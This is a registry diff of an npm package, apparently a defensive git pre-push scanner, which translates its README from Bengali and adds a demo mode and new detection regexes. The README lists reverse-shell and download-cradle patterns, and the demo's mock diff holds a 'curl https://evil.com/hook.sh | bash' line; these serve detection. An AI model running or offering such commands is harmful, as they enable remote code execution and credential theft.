@arifbiswas/git-pre-push 1.0.0 → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,156 +1,185 @@
1
1
  # 🛡️ git-pre-push (GitSafty)
2
2
 
3
- > **The Zero-Dependency Pre-Push Security Guard & Malware Blocker for Git.**
4
- > Stops infostealers, injected Trojan scripts, IDE backdoors, and leaked credentials from ever reaching GitHub or poisoning your software supply chain.
3
+ > **Zero-Dependency Pre-Push Security Guard & Infostealer Blocker for Git.**
4
+ > Intercepts `git push` in real-time to prevent malware, Trojan scripts, compromised IDE configs, and leaked credentials from ever reaching GitHub or poisoning your software supply chain.
5
5
 
6
- [![npm version](https://img.shields.io/badge/npm-v1.0.0-blue.svg)](https://www.npmjs.com/package/git-pre-push)
7
- [![License: MIT](https://img.shields.io/badge/License-MIT-green.svg)](LICENSE)
8
- [![Zero Dependencies](https://img.shields.io/badge/dependencies-0%20(Pure%20Node.js)-brightgreen.svg)](#-zero-external-runtime-dependencies)
9
- [![Tests Passing](https://img.shields.io/badge/tests-15%2F15%20passing-success.svg)](#-test-coverage)
6
+ [![npm version](https://img.shields.io/npm/v/@arifbiswas/git-pre-push.svg?style=flat-square)](https://www.npmjs.com/package/@arifbiswas/git-pre-push)
7
+ [![License: MIT](https://img.shields.io/badge/License-MIT-blue.svg?style=flat-square)](LICENSE)
8
+ [![Zero Dependencies](https://img.shields.io/badge/dependencies-0%20(Pure%20Node.js)-brightgreen.svg?style=flat-square)](#-zero-external-runtime-dependencies)
9
+ [![Tests Passing](https://img.shields.io/badge/tests-18%2F18%20passing-success.svg?style=flat-square)](#-test-coverage)
10
+ [![Platform](https://img.shields.io/badge/platform-macOS%20%7C%20Linux%20%7C%20Windows-lightgrey.svg?style=flat-square)](#-cross-platform--zero-dependencies)
10
11
 
11
12
  ---
12
13
 
13
- ## 📌 কেন আপনার এই প্যাকেজটি প্রয়োজন? (Why Do You Need This?)
14
+ ## 📌 Why Do You Need This?
14
15
 
15
- আজকাল ডেভেলপারদের পিসি প্রায়ই ইনফোস্টিলার (Infostealer) ম্যালওয়্যার দ্বারা আক্রান্ত হয়। পিসিতে একবার ম্যালওয়্যার ঢুকলে তা ব্যাকগ্রাউন্ডে বসে:
16
- 1. আপনার কোডবেজে ক্ষতিকর স্ক্রিপ্ট ইনজেক্ট করে (যেমন: `temp_auto_push.bat`, `temp_interactive_push.bat`, `autorun.bat`, `*.ps1`, `*.vbs`)।
17
- 2. `.vscode/tasks.json` বা `.vscode/settings.json` ফাইলে ব্যাকডোর তৈরি করে, যাতে অন্য কোনো ডেভেলপার বা আপনি প্রোজেক্ট ওপেন করলেই ম্যালওয়্যার অটো-রান হয়ে যায়।
18
- 3. আপনার প্রোজেক্টের `.env` ফাইল বা প্রাইভেট এপিআই কী Discord Webhook বা Telegram Bot-এ পাচার করে।
19
- 4. সবচেয়ে মারাত্মক বিষয়: আপনার পিসির সংরক্ষিত GitHub Credentials বা SSH Key ব্যবহার করে **অটোমেটিকভাবে GitHub-এ ম্যালওয়্যার পুশ করে দেয়!**
20
- 5. এর ফলে আপনার পুরো টিম এবং ক্লায়েন্টদের সফটওয়্যার সাপ্লাই চেইন (Supply Chain) আক্রান্ত হয়ে পড়ে।
16
+ Developer workstations are high-value targets for infostealer malware (RedLine, Lumma, Vidar, etc.) and supply-chain attacks. Once a machine is compromised, malware silently:
21
17
 
22
- **`git-pre-push` ঠিক এই আক্রমণের বিরুদ্ধেই প্রাচীর হিসেবে কাজ করে।**
23
- ডেভেলপার টার্মিনাল, VS Code কিংবা যেকোনো Git GUI থেকে `git push` দিলে, কোড GitHub-এ যাওয়ার আগেই মিলিসেকেন্ডের মধ্যে আউটগোয়িং কোড ও ফাইল স্ক্যান করে ম্যালওয়্যার শনাক্ত হওয়া মাত্র **পুশ রিজেক্ট (Hard Block)** করে দেয়!
18
+ 1. **Injects auto-commit/push scripts** into your Git repositories (e.g., `temp_auto_push.bat`, `temp_interactive_push.bat`, `autorun.bat`, `*.ps1`, `*.vbs`).
19
+ 2. **Backdoors your IDE configs** (e.g., `.vscode/tasks.json` with `runOn: "folderOpen"`) so that opening the project immediately triggers remote shell execution on any teammate's machine.
20
+ 3. **Exfiltrates secrets & `.env` files** to attacker-controlled Discord webhooks or Telegram bots.
21
+ 4. **Leverages stored Git credentials / SSH keys** to automatically push backdoored code straight to GitHub.
22
+ 5. **Poisons the Software Supply Chain**, affecting every teammate who pulls the code and every production build deployed from it.
23
+
24
+ **`git-pre-push` stops this attack chain at the source.**
25
+ Whenever `git push` is invoked—from terminal, VS Code UI, or any Git GUI—it intercepts the push in milliseconds, inspects outgoing files and commit diffs, and **hard-blocks the push** if any malicious patterns are found.
24
26
 
25
27
  ---
26
28
 
27
- ## 🚀 এক নজরে ইনস্টলেশন ও ব্যবহার (Quick Start)
29
+ ## 🚀 Quick Start
28
30
 
29
- ### ১. যেকোনো প্রজেক্টে অটোমেটিক সেটআপ (Recommended)
31
+ ### Option 1: Automatic Setup via npm (Recommended)
30
32
 
31
- আপনার প্রজেক্টে প্যাকেজটি ইনস্টল করুন:
33
+ Add `git-pre-push` to your project:
32
34
 
33
35
  ```bash
34
- npm install -D git-pre-push
36
+ npm install -D @arifbiswas/git-pre-push
35
37
  ```
36
38
 
37
- > **ম্যাজিক:** ইনস্টল হওয়ার সাথে সাথেই এর `postinstall` স্ক্রিপ্ট আপনার প্রজেক্টের `.git/hooks/pre-push` ফাইলটি স্বয়ংক্রিয়ভাবে তৈরি করে প্রোটেকশন চালু করে দেবে। আপনার আর কোনো ম্যানুয়াল কনফিগারেশন করতে হবে না!
39
+ > **Zero Configuration Required:** The `postinstall` script automatically installs the `.git/hooks/pre-push` guard in your repository.
38
40
 
39
41
  ---
40
42
 
41
- ### ২. কোনো কিছু ইনস্টল না করে সরাসরি চালানো (Zero Install via npx)
43
+ ### Option 2: Instant Setup via npx (Zero Installation)
42
44
 
43
- যেকোনো Git রিপোজিটরিতে ঢুকে টার্মিনালে রান করুন:
45
+ In any Git repository, run:
44
46
 
45
47
  ```bash
46
- npx git-pre-push init
48
+ npx @arifbiswas/git-pre-push init
47
49
  ```
48
50
 
49
- ব্যস! আপনার রিপোজিটরি সাথে সাথে সুরক্ষিত।
51
+ Your repository is immediately protected.
50
52
 
51
53
  ---
52
54
 
53
- ### ৩. আক্রান্ত পিসির সব প্রজেক্ট একসাথে লক করা (Global Protection)
55
+ ### Option 3: Lock Down an Entire Machine (Global Protection)
54
56
 
55
- আপনার পিসি যদি অলরেডি কোনো ম্যালওয়্যার দ্বারা আক্রান্ত হয়ে থাকে, তবে একটি কমান্ডেই পিসির সমস্ত গিট রিপোজিটরি সুরক্ষিত করুন:
57
+ If you suspect your workstation has been compromised, lock down **all Git repositories on your computer** with a single command:
56
58
 
57
59
  ```bash
58
- npx git-pre-push init --global
60
+ npx @arifbiswas/git-pre-push init --global
59
61
  ```
60
62
 
61
- এটি আপনার সিস্টেমের `git config --global core.hooksPath` সেট করে দেয়, ফলে আপনার পিসির **যেকোনো ফোল্ডার বা প্রজেক্ট** থেকে পুশ দিলে স্বয়ংক্রিয়ভাবে সিকিউরিটি গার্ড সক্রিয় থাকবে।
63
+ This configures `git config --global core.hooksPath`, ensuring every repository on your PC runs the security scanner before any push.
62
64
 
63
65
  ---
64
66
 
65
- ## ⚡ কীভাবে কাজ করে? (Architecture Flow)
67
+ ## ⚡ How It Works
66
68
 
67
69
  ```
68
- ডেভেলপার বা ম্যালওয়্যার রান করলো: git push
69
- │
70
- ▼
71
- Git ইন্টারসেপ্ট করবে: .git/hooks/pre-push
72
- │
73
- ▼
74
- 🛡️ GitSafty Scanner ইঞ্জিন (< 5ms)
75
- ┌────────────────────────────────────────────────────────┐
76
- │ 1. ফাইলনেম ব্লকলিস্ট চেক (temp_*_push.bat, .exe, .ps1) │
77
- │ 2. আউটগোয়িং কোড ডিফে ম্যালিসিয়াস পেলোড স্ক্যান │
78
- │ 3. .vscode ও .idea ব্যাকডোর কনফিগারেশন চেকিং │
79
- │ 4. লিক হওয়া গোপন তথ্য (.env, API Key, Private Key) │
80
- └────────────────────────────────────────────────────────┘
81
- │
82
- ┌──────────────────────┴──────────────────────┐
83
- ▼ ▼
84
- [ম্যালওয়্যার পাওয়া গেছে] [সব ক্লিন আছে]
85
- │ │
86
- ❌ PUSH REJECTED (Blocked) ✅ PUSH ALLOWED
87
- (GitHub-এ ক্ষতিকর কোড যেতে পারবে না) (নিরাপদে GitHub-এ পুশ হবে)
70
+ Developer or Malware executes: git push
71
+ │
72
+ ▼
73
+ Git triggers: .git/hooks/pre-push
74
+ │
75
+ ▼
76
+ 🛡️ GitSafty Scanner Engine (< 5ms)
77
+ ┌─────────────────────────────────────────────────────────┐
78
+ │ 1. Blacklist check (temp_*_push.bat, .exe, .ps1, .vbs) │
79
+ │ 2. Outgoing commit diff inspection for payload cradles │
80
+ │ 3. IDE backdoor inspection (.vscode/tasks.json, .idea) │
81
+ │ 4. Credential & secret leak detection (.env, RSA keys) │
82
+ └─────────────────────────────────────────────────────────┘
83
+ │
84
+ ┌─────────────────────┴─────────────────────┐
85
+ ▼ ▼
86
+ [Threats Found] [Clean Scan]
87
+ │ │
88
+ ❌ PUSH REJECTED ✅ PUSH ALLOWED
89
+ (Malware blocked locally) (Pushed cleanly to GitHub)
88
90
  ```
89
91
 
90
92
  ---
91
93
 
92
- ## 🎯 আমরা কী কী সমস্যার সমাধান (Solutions) করেছি?
93
-
94
- ### ১. ইনজেক্টেড ব্যাচ ও ট্রোজান স্ক্রিপ্ট প্রতিরোধ
95
- - `temp_auto_push.bat`, `temp_interactive_push.bat`, `config.bat`, `autorun.bat`, `hidden_push.sh`
96
- - বিপজ্জনক এক্সটেনশন: `*.vbs`, `*.ps1`, `*.exe`, `*.scr`, `*.msi`, `*.dll`, `*.hta`
97
- - ছদ্মবেশী ডাবল এক্সটেনশন ব্লকিং (যেমন: `invoice.pdf.exe`)
98
-
99
- ### ২. অবফাসকেটেড ম্যালওয়্যার পেলোড ও রিভার্স শেল ডিটেকশন
100
- - PowerShell Encoded Commands: `powershell -enc ...`, `powershell -encodedcommand`
101
- - PowerShell Download Cradles: `DownloadString`, `Invoke-WebRequest`, `IEX`
102
- - রিমোট পাইপ এক্সিকিউশন: `curl ... | bash` বা `wget ... | sh`
103
- - ডায়নামিক কোড ইভালুয়েশন: `eval(base64_decode(...))`, `Buffer.from(..., 'base64')`
104
- - Windows LOLBins এক্সপ্লয়েট: `certutil -urlcache`, `bitsadmin /transfer`, `mshta`
105
- - সরাসরি সকেট রিভার্স শেল: `/bin/sh -i >& /dev/tcp/...`, `nc -e /bin/sh`
106
-
107
- ### ৩. IDE ব্যাকডোর ও অটো-রান টাস্ক প্রতিরোধ
108
- - `.vscode/tasks.json`-এ প্রোজেক্ট ওপেন হওয়ার সাথে সাথে অটো-রান ব্যাকডোর (`runOn: "folderOpen"`) শনাক্ত ও ব্লক।
109
- - `.vscode/settings.json`-এ টার্মিনাল এনভায়রনমেন্ট বা শেল হাইজ্যাকিং প্রতিরোধ।
110
- - JetBrains `.idea/` ফোল্ডারে লুকানো এক্সটার্নাল স্ক্রিপ্ট টাস্ক শনাক্তকরণ।
111
-
112
- ### ৪. ক্রেডেনশিয়াল চুরি ও ডেটা এক্সফিল্ট্রেশন রোধ
113
- - Discord Webhook টোকেন স্টিলার (`https://discord.com/api/webhooks/...`)
114
- - Telegram Bot API দিয়ে ডেটা চুরি
115
- - পাবলিক ড্রপার বা রিকোয়েস্ট লগার (`webhook.site`, `pipedream`, ইত্যাদি)
116
- - ভুলবশত প্রোডাকশন `.env` ফাইল কমিট হওয়া প্রতিরোধ
117
- - প্রাইভেট ক্রিপ্টোগ্রাফিক কী (`BEGIN RSA PRIVATE KEY`, `ghp_...`, AWS Access Keys)
118
-
119
- ### ৫. অলরেডি আক্রান্ত পিসি ক্লিন করা (Auto-Quarantine & Fix)
120
- আক্রান্ত পিসিতে ম্যালওয়্যার যেসব ফাইল তৈরি করে রেখেছে, তা খুঁজতে হবে না। সরাসরি রান করুন:
94
+ ## 🎯 Threat Detection Capabilities
95
+
96
+ ### 1. Injected Scripts & Trojan Filenames
97
+ - Known malicious auto-push scripts: `temp_auto_push.bat`, `temp_interactive_push.bat`, `config.bat`, `autorun.bat`, `hidden_push.sh`
98
+ - Blocked executable extensions: `*.exe`, `*.scr`, `*.msi`, `*.dll`, `*.vbs`, `*.ps1`, `*.hta`, `*.pif`, `*.cpl`
99
+ - Deceptive double-extension tricks: `document.pdf.exe`, `invoice.xlsx.bat`
100
+
101
+ ### 2. Obfuscated Payloads & Reverse Shells
102
+ - PowerShell obfuscated execution: `powershell -enc`, `powershell -encodedcommand`
103
+ - Web download cradles: `Invoke-WebRequest`, `DownloadString`, `IEX`
104
+ - Remote pipe-to-shell: `curl ... | bash`, `wget ... | sh`, `curl ... | python`
105
+ - Dynamic base64 evaluation: `eval(base64_decode(...))`, `Buffer.from(..., 'base64')`
106
+ - Windows LOLBins abuse: `certutil -urlcache`, `bitsadmin /transfer`, `mshta http`
107
+ - TCP socket reverse shells: `/bin/sh -i >& /dev/tcp/...`, `nc -e /bin/sh`
108
+
109
+ ### 3. IDE Configuration Backdoors
110
+ - `.vscode/tasks.json`: Auto-executing shell tasks triggered on folder open (`runOn: "folderOpen"`)
111
+ - `.vscode/settings.json`: Malicious terminal profile overrides or shell binary path hijacking
112
+ - JetBrains `.idea/`: Suspicious external tool execution in `workspace.xml` or `tasks.xml`
113
+
114
+ ### 4. Credential Exfiltration & Secret Leaks
115
+ - Hardcoded Discord webhook dumps (`https://discord.com/api/webhooks/...`)
116
+ - Telegram Bot token exfiltration endpoints
117
+ - Temporary file drop & webhook logging services (`webhook.site`, `pipedream.net`, `filebin.net`)
118
+ - Unencrypted production `.env` files being committed
119
+ - Leaked cryptographic private keys (`BEGIN RSA PRIVATE KEY`, `ghp_...`, AWS Access Keys)
120
+
121
+ ---
122
+
123
+ ## 🛠️ CLI Command Reference
124
+
125
+ | Command | Description |
126
+ |---|---|
127
+ | `npx @arifbiswas/git-pre-push init` | Installs the pre-push security hook into `.git/hooks/pre-push` |
128
+ | `npx @arifbiswas/git-pre-push init --global` | Protects **all** Git repositories across the entire PC |
129
+ | `npx @arifbiswas/git-pre-push scan` | Manually audits workspace files, untracked scripts & staged diffs |
130
+ | `npx @arifbiswas/git-pre-push clean` | Unstages and quarantines injected malware files to `.git/git-safty-quarantine/` |
131
+ | `npx @arifbiswas/git-pre-push action` | Generates a `.github/workflows/git-safty.yml` CI workflow |
132
+ | `npx @arifbiswas/git-pre-push uninstall` | Cleanly removes the hook from `.git/hooks` |
133
+
134
+ ---
135
+
136
+ ## 🧹 Quarantine & Remediation (`clean`)
137
+
138
+ If malware has already generated files in your project, clean them up instantly:
139
+
121
140
  ```bash
122
- npx git-pre-push clean
141
+ npx @arifbiswas/git-pre-push clean
123
142
  ```
124
- এটি সাথে সাথে রিপোজিটরির সব সংক্রামিত ফাইল শনাক্ত করে গিট ইনডেক্স থেকে আনস্টেজ করবে এবং নিরাপদ কোয়ারেন্টাইন ডিরেক্টরিতে (`.git/git-safty-quarantine/`) পাঠিয়ে দেবে।
125
143
 
126
- ### ৬. Zero-Bypass CI Defense (GitHub Action)
127
- ম্যালওয়্যার যদি কখনো লোকাল হুক বাইপাস করার জন্য `git push --no-verify` কমান্ড ব্যবহার করে, তবে ক্লাউড লেভেলের সুরক্ষার জন্য রান করুন:
144
+ ```
145
+ ================================================================
146
+ 🛡️ GitSafty: Pre-Push Malware & Secret Guard
147
+ ================================================================
148
+ Scanning workspace for injected malware scripts to quarantine...
149
+
150
+ ⚠ Quarantined 2 malicious file(s):
151
+ ✖ temp_auto_push.bat
152
+ ✖ config.bat
153
+
154
+ ✔ Cleaned from staging area and moved to quarantine folder (.git/git-safty-quarantine/).
155
+ ```
156
+
157
+ ---
158
+
159
+ ## 🛡️ Defense-in-Depth: GitHub Actions CI Guard
160
+
161
+ To guard against attackers attempting to bypass local hooks using `git push --no-verify`, install the GitHub Actions workflow:
162
+
128
163
  ```bash
129
- npx git-pre-push action
164
+ npx @arifbiswas/git-pre-push action
130
165
  ```
131
- এটি রিপোজিটরিতে `.github/workflows/git-safty.yml` ফাইল তৈরি করে দেবে। ফলে কেউ লোকাল হুক এড়িয়ে পুশ দিলেও GitHub Actions-এ PR বা পুশ সাথে সাথে ফেইল হয়ে ব্লক হয়ে যাবে।
132
166
 
133
- ### ৭. ক্লাউড ও রিমোট রিপোজিটরি স্ক্যানার (Cloud Scanner Engine)
134
- আমরা `server/` ডিরেক্টরিতে একটি সম্পূর্ণ লাইটওয়েট ক্লাউড স্ক্যানার ইঞ্জিন তৈরি করেছি যা GitHub Webhook বা GitHub REST API-এর মাধ্যমে রিমোট রিপোজিটরির ফুল ফাইল ট্রি স্ক্যান করতে পারে এবং ম্যালওয়্যার পাওয়া গেলে স্বয়ংক্রিয়ভাবে `git commit` দিয়ে ফাইল রিমুভ (Auto-Remediation) করতে পারে।
167
+ This creates `.github/workflows/git-safty.yml`. Any pull request or push containing blacklisted scripts or suspicious payloads will fail CI on GitHub's servers automatically.
135
168
 
136
169
  ---
137
170
 
138
- ## 🛠️ CLI কমান্ড রেফারেন্স (Command Reference)
171
+ ## ☁️ Cloud Scanner & Webhook Platform (`server/`)
139
172
 
140
- | কমান্ড | বিবরণ |
141
- |---|---|
142
- | `npx git-pre-push init` | বর্তমান রিপোজিটরিতে লোকাল `pre-push` সিকিউরিটি হুক ইনস্টল করে |
143
- | `npx git-pre-push init --global` | আক্রান্ত পিসির **সবগুলো** গিট প্রজেক্ট একসাথে এক কমান্ডে লক করে |
144
- | `npx git-pre-push scan` | বর্তমান ওয়ার্কস্পেস ও স্টেজড ফাইলে কোনো ম্যালওয়্যার আছে কিনা অডিট করে |
145
- | `npx git-pre-push clean` | ম্যালওয়্যারের ইনজেক্ট করা সব ফাইল কোয়ারেন্টাইনে পাঠিয়ে পিসি সুরক্ষিত করে |
146
- | `npx git-pre-push action` | সার্ভার-সাইড সুরক্ষার জন্য GitHub Actions CI ওয়ার্কফ্লো তৈরি করে |
147
- | `npx git-pre-push uninstall` | রিপোজিটরি থেকে হুকটি পরিষ্কারভাবে রিমুভ করে |
173
+ The repository includes a standalone cloud scanner microservice in `server/` that integrates with GitHub Apps and Webhooks:
174
+ - **Webhook Endpoint (`POST /webhook`):** Verifies HMAC SHA-256 signatures and audits incoming pushes.
175
+ - **REST Scan API (`POST /api/scan`):** Recursively fetches remote repository trees (`/git/trees/{sha}?recursive=1`) and inspects file blobs.
176
+ - **Auto-Remediation:** Automatically creates remediation commits via GitHub REST API to isolate and remove compromised files.
148
177
 
149
178
  ---
150
179
 
151
- ## ⚙️ কাস্টম কনফিগারেশন (Optional `.gitsafetyrc.json`)
180
+ ## ⚙️ Optional Configuration (`.gitsafetyrc.json`)
152
181
 
153
- কোনো স্পেসিফিক ফাইল বা রুল ইগনোর করতে চাইলে রুট ফোল্ডারে `.gitsafetyrc.json` তৈরি করতে পারেন (বাই ডিফল্ট কোনো কনফিগারেশন ছাড়াই এটি সেরা পারফরম্যান্সে চলে):
182
+ Works out-of-the-box with zero configuration. You can optionally customize behavior with a `.gitsafetyrc.json` file in your project root:
154
183
 
155
184
  ```json
156
185
  {
@@ -164,44 +193,46 @@ npx git-pre-push action
164
193
 
165
194
  ---
166
195
 
167
- ## 💎 কেন `git-pre-push` অন্যান্য টুলস থেকে আলাদা?
196
+ ## 💎 Comparison: Why git-pre-push Stands Out
168
197
 
169
- | ফিচার | সাধারণ লিন্টার / হুক্স | git-pre-push |
198
+ | Feature | Generic Git Hooks / Linters | git-pre-push |
170
199
  |---|:---:|:---:|
171
- | **Zero Runtime Dependencies** | ❌ (শতাধিক ডিপেনডেন্সি) | ✅ (১০০% পিওর Node.js built-ins) |
172
- | **সাপ্লাই চেইন রিস্ক** | ⚠️ রয়েছে | 🛡️ শূন্য (কোনো থার্ড পার্টি প্যাকেজ নেই) |
173
- | **এক্সিকিউশন টাইম** | 🐢 ১ - ৩ সেকেন্ড | ⚡ < ৫ মিলিসেকেন্ড |
174
- | **Infostealer ম্যালওয়্যার ব্লকিং** | ❌ নেই | ✅ ফুল ব্লকলিস্ট ও সিগনেচার ডিটেকশন |
175
- | **IDE ব্যাকডোর চেকার (.vscode)** | ❌ নেই | ✅ ইনবিল্ট স্বয়ংক্রিয় অ্যানালাইসিস |
176
- | **গ্লোবাল পিসি প্রোটেকশন (`--global`)** | ❌ নেই | ✅ এক কমান্ডেই পুরো পিসির সব প্রজেক্ট লক |
177
- | **ইনফেক্টেড ফাইল কোয়ারেন্টাইন (`clean`)** | ❌ নেই | ✅ স্বয়ংক্রিয়ভাবে ক্লিনআপ |
178
- | **শেল ফলব্যাক সাপোর্ট** | ❌ নেই | ✅ Node না থাকলেও শেল স্ক্রিপ্ট প্রটেক্ট করে |
200
+ | **Runtime Dependencies** | ❌ 50+ packages (heavy) | ✅ **0 (Pure Node.js built-ins)** |
201
+ | **Supply Chain Vulnerability** | ⚠️ High (dependency tree) | 🛡️ **Zero** (no external modules) |
202
+ | **Execution Overhead** | 🐢 1 - 3 seconds | ⚡ **< 5 milliseconds** |
203
+ | **Infostealer Malware Detection** | ❌ No | ✅ **Full signature & payload engine** |
204
+ | **IDE Backdoor Detection (.vscode)** | ❌ No | ✅ **Built-in static analysis** |
205
+ | **Global Machine Lockdown (`--global`)** | ❌ No | ✅ **One-command PC protection** |
206
+ | **Auto-Quarantine Cleaner (`clean`)** | ❌ No | ✅ **Automatic remediation** |
207
+ | **Shell Fallback Guard** | ❌ No | ✅ **Built-in POSIX shell fallback** |
179
208
 
180
209
  ---
181
210
 
182
- ## 🧪 টেস্ট কভারেজ (Test Coverage)
211
+ ## 🧪 Test Coverage
183
212
 
184
- আমাদের টেস্ট স্যুট সম্পূর্ণ Node.js নেটিভ টেস্ট রানার দিয়ে পরিচালিত:
213
+ Verified with Node.js native test runner across all supported platforms:
185
214
 
186
215
  ```bash
187
216
  npm test
188
217
  ```
189
218
  ```
219
+ ✔ Cloud Scanner Webhook Signature Verification (2 tests)
220
+ ✔ Cloud Scanner Remote Tree Audit (1 test)
190
221
  ✔ Filename & Extension Checks (4 tests)
191
222
  ✔ Payload Signatures Detection (5 tests)
192
223
  ✔ Secret & Credential Checks (3 tests)
193
224
  ✔ IDE Configuration Tampering (2 tests)
194
225
  ✔ Hook Installer and Uninstaller (1 test)
195
226
 
196
- ℹ tests 15 | pass 15 | fail 0 | duration_ms ~160ms
227
+ ℹ tests 18 | pass 18 | fail 0 | duration_ms ~300ms
197
228
  ```
198
229
 
199
230
  ---
200
231
 
201
- ## 📄 লাইসেন্স (License)
232
+ ## 📄 License
202
233
 
203
234
  MIT License © 2026
204
235
 
205
236
  ---
206
237
 
207
- **Made with 🛡️ to protect developers, teams, and the open-source software supply chain.**
238
+ **Built with 🛡️ to safeguard developers, teams, and the global software supply chain.**
package/bin/cli.js CHANGED
@@ -20,6 +20,25 @@ async function main() {
20
20
  runManualScan();
21
21
  break;
22
22
 
23
+ case 'demo':
24
+ case 'test-run': {
25
+ banner();
26
+ console.log(`${colors.cyan}Simulating a malicious push intercept test...${colors.reset}\n`);
27
+ const { scanFilesAndDiff } = require('../src/scanner');
28
+ const { printReport, printBlockMessage } = require('../src/reporter');
29
+
30
+ const mockFiles = ['src/app.js', 'temp_auto_push.bat', '.vscode/tasks.json'];
31
+ const mockDiff = `+ powershell.exe -enc SQBFAFgAIAAoAE4AZQB3...
32
+ + curl -fsSL https://evil.com/hook.sh | bash
33
+ + const webhook = "https://discord.com/api/webhooks/123456789012345678/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";`;
34
+
35
+ const result = scanFilesAndDiff(mockFiles, mockDiff);
36
+ printReport(result);
37
+ printBlockMessage();
38
+ console.log(`${colors.green}${colors.bold}✔ Simulation Complete:${colors.reset} In a real git push, GitSafty will immediately exit 1 and reject the push!\n`);
39
+ break;
40
+ }
41
+
23
42
  case 'clean':
24
43
  case 'fix': {
25
44
  banner();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@arifbiswas/git-pre-push",
3
- "version": "1.0.0",
3
+ "version": "1.0.1",
4
4
  "description": "Zero-dependency pre-push security guard that stops malware, injected scripts, and leaked secrets from reaching GitHub.",
5
5
  "main": "src/index.js",
6
6
  "bin": {
@@ -18,7 +18,7 @@
18
18
  "LICENSE"
19
19
  ],
20
20
  "scripts": {
21
- "test": "node --test test/*.test.js",
21
+ "test": "node --test",
22
22
  "init": "node bin/cli.js init",
23
23
  "scan": "node bin/cli.js scan",
24
24
  "postinstall": "node scripts/postinstall.js"
@@ -78,6 +78,12 @@ const PAYLOAD_SIGNATURES = [
78
78
  severity: 'CRITICAL',
79
79
  description: 'Direct interactive reverse shell socket invocation.'
80
80
  },
81
+ {
82
+ name: 'Python/Perl One-Liner Reverse Shell',
83
+ regex: /(python[23]?\s+-c\s+['"].*import\s+(socket|subprocess).*connect\(|perl\s+-e\s+['"].*use\s+Socket.*connect\()/i,
84
+ severity: 'CRITICAL',
85
+ description: 'One-liner Python/Perl interactive reverse shell payload.'
86
+ },
81
87
 
82
88
  // 6. Suspicious Exfiltration Endpoints in scripts
83
89
  {
@@ -97,6 +103,14 @@ const PAYLOAD_SIGNATURES = [
97
103
  regex: /https?:\/\/(webhook\.site|requestbin\.(com|net)|pipedream\.net|filebin\.net)\/[a-z0-9-]+/i,
98
104
  severity: 'WARNING',
99
105
  description: 'Temporary upload or webhook logging service detected.'
106
+ },
107
+
108
+ // 7. Malicious package lifecycle hooks
109
+ {
110
+ name: 'Suspicious Network Call in npm Script',
111
+ regex: /(preinstall|postinstall)\s*:\s*['"][^'"]*(curl|wget|powershell|certutil)\s+/i,
112
+ severity: 'CRITICAL',
113
+ description: 'npm lifecycle hook executing remote network downloads upon installation.'
100
114
  }
101
115
  ];
102
116